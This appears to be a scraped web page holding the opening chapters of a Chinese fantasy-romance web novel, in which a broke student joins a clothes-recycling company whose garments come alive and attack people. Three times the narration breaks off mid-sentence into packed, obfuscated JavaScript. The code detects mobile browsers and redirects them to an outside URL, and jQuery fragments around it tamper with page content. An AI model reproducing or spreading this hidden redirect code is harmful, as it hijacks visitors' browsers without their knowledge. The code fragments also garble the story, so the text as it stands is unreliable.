《队友你别跑!》 1. 猫猫送工作 钱包余额:13.98 可用余额:1.77 总资产:123 …… 手机翻来覆去找不到藏钱的地方,站在路边等红绿灯的金隅任凭夏风激荡,头发糊住迷茫的眼。她摸了摸饿了半天的肚子,心想着不如回公寓睡一觉睡到明天早上。 要不是找工作被中介卷走了大把钱,倒也不至于流落如此境地。 回想起这几天挨家挨户找暑假工都惨遭拒绝,金隅脑中闪过骗子那张奸诈的脸,打算明天端个碗去桥上乞讨。 日子总是要过下去的,她要活到开学前。 正想着,一声软糯的猫叫在绿灯亮起时响起。金隅一看,一只小橘猫在对面朝着她叫,似乎能从中听出讨好的感情。 怀揣着激动的心情,金隅快速穿过人行道,蹲在这只小猫前。 小橘猫仰着头对她喵喵叫,周围有还未散去的新鲜罐头的香味。金隅吸了吸鼻子,忍住流口水的冲动上手摸了摸小猫的头。好在小猫听话,金隅满足地咧嘴微笑,随后脚底一软,支撑身体的双手扶在地上打颤。 饿昏了快。 小猫看她这状况,一歪头,四肢离开一张沾满猫爪印的纸。 花花绿绿的图案间染着棕色的泥土,金隅努力辨认其中的内容,是张招聘广告。 “喵~” 金隅在两眼昏花的紧急关头读懂小猫的意思,这是给自己招工作运的好小猫啊。 捡起广告和小猫告别,金隅拖着略显虚弱的身体回到公寓,吃完四分之一的蛋糕胚,她一手举着泡好的茶,一手在电脑上输入广告里的公司网址。 点击回车键,闪现的“爱衣回收”四个大字从左上角滑到右下角,又从右上角滑到左下角。等这段无聊的动画结束后,金隅进入招聘页,如实填好自己的信息。 这家回收旧衣服的公司急缺人才,连只干一天的短时工都要。金隅草草看了一眼公司首页的公告,“诚招!上门回收专业人员!!”,“招暑假工、正式工,培训后即可上岗,工作有保障,月薪轻轻松松上万!” 她心满意足地喝完茶,倒头就睡。 再一睁眼,天已大亮。 金隅睡眼惺忪,迷迷糊糊中拿了上门的快递,在吃掉一块蛋糕胚后终于清醒。 “宁泰市宁泰区青年路169号……爱衣回收有限责任公司……?”金隅从指甲盖高的快递盒中拿起这张只写了公司地址的B5硬纸,看了一眼便丢到旁边,转而从盒子里拿出了一封信件。 “金隅,很高兴你成为爱衣回收的一份子,祝你在第十一号专门回收衣服小队做出成绩,做出强大!”她继续往下读,“请在收到信封后进入公司官网,查看你的入职信息与后续事项。” 读完正文,金隅的视线落到最下面,“SR,2024年8月2日”。 入职信息一栏内容很简单,金隅选择的是暑假工,所以只有姓名、联系方式和住址。确认信息无误后,她点开后续事项一栏,“请在确认信息无误后于当日十点前到达公司报道。逾期则视为您放弃入职资格。” 工作!工作来了! 金隅火速收拾好,跟着导航五分钟后到达目的地。 公司不大,金隅一个人穿过电动伸缩门,来到办公楼的楼下。 打开一楼的玻璃门直接就是办公处,几张拼起来的原木方桌组成大约五平方米的平台,上面摆着几台电脑,还有一堆堆白花花的文件。 金隅一看,顿时傻了眼。她没见过如此阵仗,脑门一热打算跑路,一位穿着白衬衫牛仔裙的年轻女人从另一个门走出来,亲切地叫着她的名字。 “金隅,你好啊~”年轻女人手里抱着蓝色文件夹,目光全都聚集到金隅这个新人身上。 金隅没来得及回应,只见年轻女人身后挤出一个人来,她定睛一看,是个容貌清朗的少年。 “欢迎你来到我们公司,”年轻女人放下文件夹,“我叫荀生雨,在公司负责日常事务管理。”荀生雨简单介绍完自己,看向身边的少年,“他是你今后的队友之一,解之说。” 少年的脸上看不出表情,金隅微微颔首,“我叫金隅,你好。” “你们跟我来,金隅,先带你报道签个字。” 荀生雨带着金隅和解之说穿过另一个门,来到比外面小些的空间。一张办公桌上摆着文件和一支笔,金隅在荀生雨的指引下签好字。 “好了,我要准备培训内容,今天公司就你们两个在,可以先聊聊,相互熟悉熟悉。” 荀生雨说完,推开办公室的门离开了,狭小的空间里金隅和解之说相顾无言。 金隅找了个地方坐下,淡淡的味道传入鼻中,她抬头看向比她高一个头的解之说。 好熟悉的罐头味。 金隅想到昨天早上的那只橘猫,对着解之说嘿嘿一笑。 解之说没理她,转过头去。 金隅尴尬住了,低下头数自己的手指头,没注意到站在办公桌前的少年紧握双手,耳边染上一抹绯红。 十分钟后,荀生雨推开门,“金隅,时间到了,跟我来。” “哦好。” 荀生雨领着金隅进入一间教室,二十张课桌摆布整齐。 “我们先简单了解一下工作的具体的内容,”荀生雨示意金隅找个座位坐下,从口袋里拿出一本小册子,“这是回收行为手册,给你。” 金隅接过手册,环顾四周,“解……我的那位队友去哪了?” “他还有其他的事情要做。” 金隅听话点头。 翻开手册,扉页写着“你是被选中的人。” 什么意思? 金隅疑惑抬头,试图从荀生雨的眼中找到解释,不过荀生雨只是浅笑了一声,开始讲解。 “回收衣服第一要了解的是回收流程,”她站在课桌前,弯腰翻过手册,回收流程几个大字映入金隅的眼帘。 “回收流程中上门回收和被动回收是第一步骤。” “被动回收是什么意思?” “当前阶段你只需要了解上门回收,”荀生雨眼含笑意,“每个人的工作内容不同,熟记自己的就好。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14335092|152573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “了解。” 金隅小鸡啄米似的使劲点头,荀生雨继续道:“上门回收需要两人及两人以上组队进行,”她手指点到这行字,“注意,在工作过程中请确保自身与队友的安全。” 金隅稀里糊涂接受莫名其妙的规则,“明白。” “旧衣服回收完成后需要分类,具体分类标准在后面,很简单,你自己看看就行。” “分类后有一人负责打包洗衣。” “在公司洗吗?还是带回家洗?机洗还是手洗?” “我们有合作的洗衣店,第十一号专门回收衣服小队上门回收组就你和解之说,你负责打包洗衣,他负责写报告。” 原来还要写报告,金隅庆幸自己不用写繁琐木板的报告,幸福地笑出了声。荀生雨被她的笑容戳到,提起每个人都关心的薪资问题,“公司实行一周三休工作制度,不过工作过程会很辛苦,基础工资八千,根据个人业绩会往上加,队里基本都入万。” 太好了,有钱拿。 金隅开始畅想未来,没注意荀生雨翻过半册纸。 “这里是工作须知。” 金隅弯着眉眼,在看到一行奇怪的字后顿感不妙。上面的“一定要保护自身安全”她可以理解,毕竟出外勤可能会遇到各种突发事故,但是,这“不要与衣服对话”是什么意思? 还有,“不要泄露衣服隐私”? “小心被蛊惑”……? ? 她小心翼翼地对上荀生雨无害亲切的笑脸,嘴唇止不住颤抖,“这是……正经工作吧……?” “当然。”荀生雨利索地拿出手机,“明天正式工作,你需要下载本公司的APP,委托人在APP上预约上门回收服务。” 金隅硬着头皮打开手机下载APP,在荀生雨的指引下注册员工账号。 “哦对了,暑假工有试用期吗?” “有。” “如果在试用期间做的不好的话……” “这个你不用担心。” “为什么?” “试用期已经结束了,就在刚刚。”荀生雨查看时间,“短时工和正式工待遇一样,工作到期你可以提出解约。” “这真的是正经工作吧?”金隅不甘心,又问了一遍。 “当然。”荀生雨露出十分标准的笑容,“祝您在第十一号专门回收衣服小队做出成绩,做出强大。” 工作须知对于懵懂的金隅来说过于炸裂,荀生雨离开前让她仔细阅读,金隅只好听命,回到之前的小办公室。 不知解之说去了哪儿,金隅脑中浮现这位青年的脸庞。坐下翻开回收手册,扉页的几个字不知怎的,触动了她的心头。 荀生雨在离开前还叮嘱她,一切不可能发生的事每天都在上演,所以,未来值得探索。 向未知进发吧。金隅看着这几个字,好像揭开了神奇世界的一角。 二十分钟后,看得如痴如醉沉浸其中的金隅被通知铃声惊醒,爱衣回收APP发来了信息。 “您有一条新的回收订单请查收。” 2. 第一天工作1 一夜后的宁泰市焕发欣欣向荣的生机,早上九点准时出门的金隅穿着昨天下午送到家的绿色工作服,脖子上挂着绿色的工作牌,职位一行清清楚楚写着上门回收四个字。 九点十分,金隅与解之说在公司汇合,简单梳理今日的任务后,两人坐上五十铃皮卡朝目的地奔去。 不会开车的金隅自然坐在副驾驶,车后面的座位放满了大大小小的收纳盒,一眼看去都是空的。她打开导航,发现距离目的地还有些路程,便率先打破车内的平静。 “早上好。” “早上好。” 两人平稳的语调如同复制粘贴般,在紧张的空间里凭空出现又随时间悄然散去。 早上吃完了最后一块蛋糕胚,金隅头歪向一边,思考在发工资前如何度过剩下的日子。专心开车的解之说凭余光注意金隅的一举一动,几次三番想开口的冲动被她的死气折服。 就这样,两句互相问候留下的沉闷直到金隅打开车门才有所缓解,解之说从皮卡上拖下一辆绿色的推车,金隅则挑了三盒收纳箱堆在拖车上,两人各自握住推车的一边,进入居民小区。 到了小区里面,金隅打开手机,点击爱衣回收APP,找到委托人的具体地址,用劲推推车却发现怎么也推不动,她看向解之说,满眼疑惑。 “你是不是没带护身符?” 解之说的视线落到金隅胸前的口袋上,与他塞着护身符所以鼓鼓囊囊的口袋不同,金隅的口袋扁扁的,空无一物。 “啊!” 经解之说这么一问,金隅惊呼一声,想起之前放信封的快递盒里其实还有一块护身符。回收行为手册上明确写着工作时必须携带护身符,但她早就忘了,而且快递盒已经不知去向,被扔了也说不定。 解之说轻叹一声,从胸前的口袋里抽出自己的护身符,“用我的。” 金隅挥手拒绝:“这怎么行,”她回想起行为手册上的注意事项,“手册上说了,护身符每人有且只有一个,不得借他人的,不得假冒。就算你的给我,你怎么办?” “我没事的。” “我拒绝。” 解之说放回护身符,“好吧,”他两只手推着推车向前走,“你小心点,别受伤了。” “明白。” “还有,”解之说指向金隅的领口,“那颗扣子,扣不起来吗?” 工作服最上端的银色贝壳扣与扣眼分离,柔软的衣领随意敞开,露出金隅的锁骨。 金隅对这颗今早扣了好几遍都会松开的衣扣表示遗憾,“扣了好几遍了,总是掉。” 为了保护自身安全,穿戴整齐十分必要。金隅自然是惜命,可是老天不给机会。 解之说尊重每一件可能都有点感情波动的衣服,不过在工作面前,他的这位队友最重要。他走近金隅,“我帮你扣。” 金隅乖乖点头,在解之说慢慢的靠近下放空大脑。 扣子有点大了,解之说费了些力才将扣子扣好。修长的手指在金隅的眼中晃悠,她抿了抿唇,别过头。 若有若无的猫味钻进鼻腔,金隅无法忽视,好在解之说很快与她拉开距离,“好了。” “谢谢。” 金隅的眼睛闪闪发光,雀跃地看着解之说。解之说被看得有些害羞,眼神不禁乱飘,“不用谢。” “……” 沉默再次笼罩,两人心照不宣地推着推车来到委托人家楼下,一看是五层的居民楼,金隅明白自己和解之说只能抱着收纳箱上楼下楼。没想到正式工作的第一天就如此辛苦,金隅突然觉得头顶的大太阳被笼罩,洒下的阳光减弱了几分。 她抬头一看,几片厚厚的黑云不知何时出现在天上,试图将太阳湮没。解之说将推车放在楼道边,又怕推车太过显眼被人偷。 解之说只比金隅早一天培训上岗,工作第一天除了发招聘传单,还跟过别的队伍在另一个区域一起回收衣服。不幸的是,他把推车弄丢了。 防止再次出错,他仔细观察周围的环境,最后选择将推车放在一棵树下,原地站了一会后,一只小猫接受了冥冥之中的召唤,一脚跳上推车,悠闲地舔着毛。 有了守护神,解之说亲昵地摸摸猫头,说了声谢谢。 金隅抱着收纳箱先到了五楼,不过她没有按下门铃,而是站在委托人家门前,直到解之说上来。 解之说按下门铃,没一会委托人就打开房门,看到来者穿着专业的工作服,没等金隅和解之说说明来意就让他们进了门。 屋内干净整洁,委托人带着他们进入一间杂物室,从角落拖出一麻袋,“这就是我要卖的旧衣服。” 解之说接过麻袋,轻轻一提,麻袋并不重。 “好的,”金隅露出十分礼貌的笑容,“我们整理好后会在APP里提醒您回收已完成,您到时候记得点击确认,二十四小时内就可以收到回收金和积分。积分可以免费兑换生活用品。” “知道了。” 第一天工作进展很顺利,解之说拎着麻袋,金隅抱着收纳盒,两人下楼后便在楼下整理衣服,将衣服叠好放进收纳盒。 麻袋里都是轻便的夏装,金隅和解之说戴着特制手套坐在树下折好经手的每一件衣服,看守推车的小猫就在他们身边转悠。 “昨天回家后我以为这份工作是骗人的,”金隅从麻袋里掏出一件裤衩,继续道,“不过看完工作行为手册后,我倒也能接受认知之外的事情。手册对我说,我是被选中的人,我的直觉告诉我必须相信这句话,并且为了这句话努力回收衣服。回收旧衣服,保护这座城市,保护这座城市的人,是我从今往后的职责。” 她将手中这件大得出奇的裤衩平放在地上,试图用双手抹平裤衩上的褶皱。 解之说聆听她的肺腑之言,手里的活慢了下来。 “你的……异能……是什么?”金隅显然未完全熟悉“异能”这两个字。荀生雨让金隅仔细阅读手册,她就这样没心没肺地接受这个世界的奇妙。 这个世界,存在少量的异能者。 和大多数人一样,金隅是个无异能的普通人。不过也不奇怪,金隅深知自己的运气不好,拥有异能这么美的事怎么可能轮得到自己。 “个体感应,”解之说解释,“感应对象是否有情感波动。” “只能感应衣服吗?对人没有效果?” 解之说摇头,“对人无效,目前仅限衣服。” “这样啊。”金隅怎么摸也摸不平地上的这件裤衩,细碎的褶皱遍布,她将裤衩举起来端望,阳光下的裤衩显得暗沉无力,没有生机。 想起手册上所说,金隅歪头,问:“这些衣服真的承载了人们的感情吗?” 金隅上下查看着裤衩,“它们为什么会伤害人类呢?” 解之说将感应不出感情波动的白色短袖叠好放进收纳箱,一转头便看到金隅举着比旁边树干还宽的裤衩,在空中闪着幽幽黑光。 是坏裤衩。 在解之说的眼中,这件裤衩并不急于攻击人类,它贪婪地吸收着热烈的阳光与周围的生气。 但出于安全考虑,解之说悄悄凑近金隅,拽了拽她的工作服。 “怎么了?” 正值金隅回头之际,手里的裤衩突然有了强烈的动感,她一时没反应过来,还以为是地震了。手上传来莫名的力,带动她整个身体轻微摇晃。下一秒黑影席卷太阳的热烈,映在她脸上的最后一丝微光也吃进了裤衩的肚里。 “唔……!” 就在裤衩扑向金隅的脸时,解之说抓住她手里的裤衩,以最大的力扔出去。解之说一手怀抱住她的腰身,两人借力滚到路边,看守推车的小猫叫了一声,跑向远处。 裤衩缩成一团,金隅从地上艰难起身,解之说率先站起,手上多了一根塑料圆管。 “这件衣服有情感波动,你站到我身后。” 解之说挡在金隅前面,不过金隅看不见裤衩的状态,向前凑到他的右边,“情感波动就是揍人吗?” 说迟迟那时快,金隅冒出头的一刹那,地上的裤衩猛地暴走,有目的性地直冲向前,在一声闷哼后,金隅捂着鼻子喊痛。 跳起的裤衩受限于重力,扑腾一下后落在地上,不过它还想跳起来打金隅的膝盖,解之说甩出圆管,丝滑挑起裤衩,裤衩顿时失去生机挂在圆管上,一动不动。 金隅轻轻捏了捏自己隐隐作痛的鼻子,再一看,手上沾满了血迹,从鼻孔流下的液体不可遏制,一滴接着一滴落到地上。 “你没事吧?” 解之说用裤衩将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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回收分为主动回收和被动回收,主动回收就是今早金隅和解之说做的事情,从公司研发的爱衣回收APP上接受任务,亲自去委托人家里回收旧衣服;被动回收则是其他队员在各个巡查点来回巡查,对已经伤害人类或者有可疑迹象的衣服进行收集,最后由解之说或者有偏法子的队长感应衣服是否有感情波动。 想到自己只不过是个普普通通的回收员,金隅耷拉下头,叹了口气。解之说一看就知道金隅在想什么,连忙安慰她:“上门回收也是一份很重要的工作,根据公司的统计,有情感波动的衣服,百分之九十都是来自上门回收员回收的。如果没有他们,那么伤害人类的衣服就会越来越多,最终影响城市的和平稳定。” 金隅听着言之有理,她低头看向自己的工作牌,幸福感直冲脑门,不由得傻傻一笑。解之说也跟着轻笑了一声,在金隅看向他之前止住了笑意。 解之说胸前的护身符露出一角,保护套在阳光的照射下闪着光,金隅看得出神,手里开始晃动起来。再一看,不知何时醒来的裤衩晃动两条腿,还有疑似从它身上发出来的叫声。 “解之说,怎么办……它又动了……”金隅拿起收纳盒,手里的动静不断,就像拿着一条活蹦乱跳的鱼,根本控制不住。 解之说在继续加速赶到公司和减速以保证安全的抉择中选择了后者。这件裤衩又硬劲也大,很有可能冲开收纳盒为非作歹,到时候最危险的人是金隅,他不敢拿她的生命博弈。 前面有个路口,解之说缓缓停下车,问:“你会开车吗?” 金隅吓得都要哭出来了,连连摇头,“我不会……” 如果金隅会开车的话,解之说就可以下车拿着收纳盒赶回公司,这样就不怕裤衩伤害金隅了。可现在,他得到的回答是“不会”。 解之说眉头微微一皱,不过他没有多说什么,随后抽出口袋里的护身符,放进金隅的口袋里。 “你这是干什么?” 金隅一下子愣住了,解之说就这么把他的护身符给自己了?什么意思? 驶回主路,解之说向金隅解释,“护身符很重要,它一定会保护你的。” 金隅听着不太相信,不过看解之说不是很紧张的样子,倒也放下心。手里端着的收纳盒来回晃动,久而久之她都脱敏了,一点都不怕。 解之说表面平淡实际内心紧张得要死,就怕裤衩突然飞出来伤害金隅。好在他发觉自己在心疼身边之人的时候,公司的大门出现在眼前,还有站在门口的队长。 3. 第一天工作2 熄火,下车,关门。 解之说从金隅手里夺过收纳盒,原本稳定下来的裤衩在他手上又开始到处乱撞。不知道是不是护身符不在身上的原因,解之说总感觉近在咫尺的裤衩不怀好意地想要撞他。 “车给停里头去啊,停外面小心有交警开罚单,”准备出门的队长刚准备抽支烟润润嘴,一看是金隅和解之说俩小孩,不情不愿地将手里的烟放回烟盒,“公司可不帮你交罚金哈。” 解之说朝门卫室里的保安点头示意,将手里的收纳盒送到队长眼前,“这件衣服有伤害人类的行为,”他顿了一下,“金隅被打伤了。” 队长一听,绕过解之说看到金隅脸上挂着裂开的血迹,不禁哈哈大笑,“哈哈哈哈哈哈哈哈哈哈哈金隅你怎么回事啊哈哈哈哈哈哈竟然被小小一件衣服打出鼻血哈哈哈哈哈哈哈——!” 跑过来开车的保安听队长这么一说,悄悄看向金隅,也不觉“扑哧”一声,随后默不作声将车开进公司。 金隅被队长的嘲笑声堵住了所有想说的借口,咧着嘴勉强笑了一声,抬眼一瞧,这不是母校宁泰一中的体育老师孟星吾孟老师吗!? 他转行了?! 没等金隅反应过来,这位之前还在宁泰一中做体育老师的队长强势一问,“你是不是没带护身符?” 孟星吾眯着眼,视线在她的脸上来回转悠,金隅怕了,点点头,“没带。” “下次来记得带着,它可是保你生命的重要物品,比你男朋友还有用。” “我没男朋友。” “那就——比你以后的男朋友还有用。” 金隅看孟星吾和解之说都很重视护身符,心里默想今晚回去一定要找到护身符,不然就不来上班了。 站在一边的解之说手里依旧端着被孟星吾忽视的裤衩,就这样看着金隅竟一时出了神,她说的“没有男朋友”在他的心中激起一阵涟漪。 孟星吾帮金隅放好不属于她的护身符,“你快去洗洗脸,”他又转头对解之说嘱咐道,“你把这衣服放办公室去……” 孟星吾的话刚说完,解之说只觉得手中物不受控制地窜动,定睛一看,那裤衩以极快的速度冲开收纳盒盖,他一时没反应过来,乌黑的裤衩在半空中展开“身姿”,以劈头盖脸之势猛然撞向他,疑似发音器官的地方响着“亲一个亲一个”的猥琐声。 在场的三人被眼前的景象惊呆了,下一秒,解之说被撞地说不出话来,直直倒地。 孟星吾率先反应过来,箭步上前查看解之说的状态,金隅看行凶后的裤衩又回到了收纳盒里,跑去用盖子紧紧盖住。 半小时后,躺在医院病床上的解之说双眼紧闭,得知他被撞出轻微脑震荡的金隅坐在病床边,满脸担忧。 孟星吾推门而进,“你先照看他,我还有别的事。” 孟星吾的语气里透着不容亲近的疏离感,金隅在他出门后紧随其后。回想起今天刚见他的时候,金隅就觉得他是要出门有什么事,还是大事。 自己的直觉和一些一直隐藏于心中的疑惑促使她作出反应,金隅叫住了孟星吾,“孟老师,是出什么事了吗?” 孟星吾一顿,转身看向金隅——这位以前是宁泰一中的学生。 他摇头,正要回答无关紧要的事情搪塞过去,刹那间想到只有金隅的行为手册上写着那句话,打心底选择信任她。 金隅是被所有人选中的救世主,比唐泉更有能力更有潜力。 “跟我来,”他说,“我会告诉你一些你必须知道的事情。” 洁白的墙面一尘不染,若有若无的消毒水味在金隅深进医院内部时变得浓烈,不可忽视。长长的走廊上没有其他人,金隅跟在孟星吾身后,在一间病房前停下。 金隅纳闷,正要开口询问,被孟星吾的话音打断,他轻轻别过门把,“这里躺着的是公司的一把手,也就是成立回收衣服组织的创始人,唐泉。” 孟星吾领着金隅进入病房,金隅往床上看了一眼,呼吸顿时一滞。只出现在公司荣誉墙上的女人,此刻插着呼吸机睡在床上,如濒临凋谢的木槿勉强生命。 “是她敏锐地察觉到日益增多的各类衣服产生攻击的倾向,在捕获第一件伤害人类的衣服后,她建立了爱衣回收公司,在国家的资金与技术支持下越做越大。不过组织现如今仍仅在宁泰市内活动,”孟星吾停顿了一下,继续道,“这个世界拥有异能的人太少了,从三年前公司成立以来,我们的工作开展得十分困难,但唐泉——这位不惧危险的女人,撑起了公司的一片天,带领我们走向解救众生解救世界的这条必定艰辛的道路。” 孟星吾的声音戛然而止,金隅听得入神,在等他接着往下说时,听到了隐忍的抽泣声。 “老师……” 她上前扶住孟星吾的手臂,孟星吾笑着摇摇头,“一年前她被徐无醒设计重伤,至今未醒,公司不少人都被迫放弃事业。如今我们的员工渐渐多了起来,却少了最重要之人的领导。” 孟星吾又停下来,他看向金隅,眼神里充满期待,“唐泉的志向,以后都得靠你了。” “为什么?” “因为你是被选中的人。” 这句原本带给自己无限希望的话现在如同沉重的大石头压在金隅的心头,她快要喘不过气来,周围的空气似乎离她远去,不给她留点活路。 慌乱之际,她看到了女人憔悴无力的脸庞,刚进门时还是惹人心痛的她,此刻身上好似充满了金光闪闪的希望。 金隅在希望中找回了自我,呼吸渐渐平稳。 孟星吾没有察觉到金隅刚才的异样,一屋子的沉默没有持续太久,他又开口:“唐泉是解之说的小姨,解之说知道关于他小姨的这些事后,就跑过来跟我们说他也要加入公司。” 金隅没忍住,“啊”了一声。 “一开始我们没答应,看我们急着用人,这小子就告诉我们他的异能是个体感应,我们这才收下他。” 孟星吾嘴边挂起温和的笑容,金隅见此不再拘束,她问:“唐泉老师的异能是什么呢?” “她没有异能,和现在的你一样。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14335094|152573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “这样的话,她是怎么发现这些会伤害人的衣服的呢?” “只凭直觉。” 金隅听到回答,一时对唐泉有了更多的尊敬。一位没有异能只靠直觉的女人,在一次次选择中坚定自我,做着也许不被世俗理解的大事。 孟星吾的眼中流过温柔,一瞬间又回复平常,“徐无醒,我们势必与他斗争到底。” “他是谁?” “他是我们的对立面,”孟星吾顿了一下,“他从一开始就不断阻挠我们开展工作,在唐泉住院后销声匿迹,如今又开始活动,我们势必与他交手,将他绳之以法。” “未来的路会格外难走,”两人来到走廊,孟星吾轻轻关上房门,“你要做好准备。” 金隅心情久久不能平静,“明白。” “我看好你哦。”孟星吾终于展现出畅怀的笑容,“解之说那小子怎么就脑震荡了,”他注意力转移到今天回收的大裤衩上,“等他醒了,你们赶紧把那件衣服回收了。” “我一个人不行吗?” “不行。”孟星吾立即反对,“两人最好,互相照应。” “好吧。”金隅乖乖听话,领口的扣子不知何时又散开。 本来孟星吾今天只计划来医院看看唐泉,唐泉的生命特征一切正常,他也就没有留下来的必要。临走前听从金隅想照顾解之说的意愿,对她嘱咐了好多事,最后独自打车回公司。 回到解之说的病房,没有完全熟悉工作内容的金隅翻开工作手册。 回收具有情感波动的衣服有很多种方法,包括但不限于挤压、切割。金隅不理解,这会不会暴力了些? 那件裤衩映入脑中,金隅想不明白,它明明会说话来着,难道没有更好的处理方法吗? 想起今早的经历,不像生物能发出的声音在耳边回荡。 “亲一个亲一个……” 金隅思来想去,想不明白那件裤衩说的话是什么意思。难道它要和谁亲嘴儿? 带着疑惑,金隅走出病房打算接杯水喝喝,顺便放松一下身体。去饮水间的路上,她恍惚中撞到一位身材高大看不出情绪的中年男人。 “抱歉……” 金隅抬头望向身体的主人,幽冷的眸底毫无保留,如冰凌般刺进她的心房。 “没关系。” 男人停下脚步,自以为和蔼的笑容出现在脸上,生硬难看。 “金隅,很高兴认识你。” 只一刹那,金隅后退一步紧绷神经,“徐无醒?” 男人没有否认,“来日方长。” 他丢下这句带有挑衅的话径直离去,直到电梯的“叮咚”声响起,大脑一片空白的金隅缓缓转身,在电梯门关闭的前一刻,与男人对视。 时间仿佛静止,耳边的轻风撕裂空气,留下无边的沉寂。 不知能不能追上去,金隅再三犹豫后选择放弃去饮水间接水,打算与解之说谈谈大裤衩的事。 回到病房,她发现房间里空无一人。 “人呢?!” 4. 亲亲裤衩1 一觉醒来感觉良好的解之说穿好衣服办理出院,临走前才想起自己没有去看望小姨,走到电梯处又想不起小姨的病房在哪里。为了尽快回去收拾那件大裤衩,他没有长时间停留,转身离开了医院。 临近傍晚,解之说随便拦了一辆车,在司机问要去哪时,他停下了打开车门的动作。 司机看他头上裹着纱布,身上穿着爱衣回收公司的工作服,瞬间了然。 “小伙子是要去爱衣回收?” 解之说脑袋一片空白,但还是点了点头。 “上车。” 关门声响起,车子向目的地驶去,汽车引擎的低吼盖住了后方小人的声音。 “解之说!你等等我!” 前脚刚踏出医院的金隅握着解之说的护身符和工作证,在原地看着他扬长而去。 好狠心的同事。 工资还没发下来,金隅为了省钱选择坐公交,等了好久等来一班车,到公司时天已经完全黑下来。丝丝微风吹过脸颊,有些痒痒的。 金隅抹了把脸,推门进入办公平台。 不知孟老师和荀生雨去了哪里,大平台上的文件不减反多,她坐在桌前,解之说端着收纳盒从小门进来,与她对上视线。 …… 解之说的手突然颠簸了一下,收纳盒里的裤衩复苏活动,他只好将收纳盒放到大平台上。 被整出阴影的金隅拖着办公椅后退了一米,尽量不去看那件躁动的裤衩,“你的工作证和护身符。” 解之说的脑子宕机了一下,在金隅清澈的眸下缓慢接过工作证和护身符,“谢谢。” “不用谢。” 话音刚落,就在两人以为沉默来临时,收纳盒里的裤衩强烈活动起来,在金隅的惊呼中成功突破收纳盒,瘫软在桌上。 “啊!” 金隅连忙扑上去,试图抓住灵活的裤衩,不料裤衩像有眼睛似的,见有人朝它袭来,竟缩成一团,咕噜咕噜滚下桌。 扑了个空的金隅见裤衩往下滚,脑子一转钻到平台下面,蛄蛹着往前,就在快要抓住裤衩时,一双手正好捧住在空中释放身姿的裤衩。 解之说为了防止裤衩逃走,两只手暗暗用力,还不忘与金隅对视。 两人大眼瞪小眼,直到裤衩叫得几近癫狂,吵到了金隅的耳朵。解之说尽己所能捂住裤衩,与金隅坐回办公椅商讨处理策略。 “咳咳,”金隅摆出专业的架势,“我们要怎么处理它?” “剪碎。”解之说低头看了一眼活泼乱撞的裤衩,不带一点迟疑。 此话一出,金隅和裤衩都停下了动作,“一定要剪碎吗?”金隅指向裤衩,“它好像有什么话要说。” 觉得“衣”生就此陨灭的裤衩呜呜叫着,两条宽大的裤腿失去了生机,溜出解之说的掌心,在空中晃荡。 “喂,”金隅点了点摇摆的裤腿,问:“你有什么话快说,不然真给你剪了。”她示意解之说放开裤衩,解之说只好松开自己的手。 裤衩不叫了,灵活得像只山里的猴子,两只裤腿一前一后走到平台中央。金隅看呆了眼,小声惊叹了一句:“好神奇。” 解之说看向她,温柔流转在眸底。 裤衩左腿点地,轻快地转了一圈,卷起文件夹上的一支黑笔。 “哇……”金隅瞠目结舌,这衣服这么有灵性? 歪歪扭扭画下一个字,裤衩扔下笔瘫在桌上,好像累着了。 “亲……” “?” 金隅瞧着鬼画符般的字,皱了皱眉头。 解之说拿起这张画上一个字的白纸仔细端详,“你要亲谁?”他偏过头,语气冷淡,令人无法拒绝回答。 裤衩晃晃腿,发音处传来模糊的声音:“女……女……” 金隅没有听出什么,解之说变戏法似的从怀里拿出一把剪刀,“现在就剪碎你。” “呜哇——!” 原本悠闲的裤衩跳起来,绷紧了身体,全身的皱痕越来越清晰。金隅从它的上方拎起,被钳住的天灵盖像是拉长的棉花糖,裤衩呜呜叫着,却无可奈何。 “剪掉它吧,”解之说与金隅商量,“它看上去就适合做成碎片再重利用。” 金隅有些动摇,毕竟她也不知道前辈们对于会说话有些灵智的衣服们是直接回收掉还是先做些什么。 比如…… 她想到了今天与解之说的对话,“你说,衣服有情感,对吧?” 解之说点点头。 金隅继续道:“它们既然有情感,会不会产生什么必须完成的心愿?比如这件裤衩,”她举高裤衩,“它的心愿是亲某个人?” 解之说不置可否,凑近金隅上下查看裤衩的状态。不知为何,此刻自己眼中的裤衩衣身抽搐,像是可怜的流浪小猫在冷风暴雨中乞求怜爱。 想到投喂过的各种小猫,他暂时放弃剪碎裤衩的打算,不过语气仍旧生冷,“你的心愿是什么?” “哎呀,你可别把裤衩吓晕了,”金隅推开解之说,将裤衩平放在平台上,托起裤衩的一直腿,问:“是不是帮你完成心愿你就能不伤人乖乖让我们回收?” 裤衩没有头,只好点了点裤腿。 “那你的心愿是什么呢?你要亲谁?” 见金隅循循善诱与裤衩谈话,解之说闷闷不乐,转移视线到她的头发缠着小熊素圈,心虚转过身去。 反正没人知道自己对她的感情。 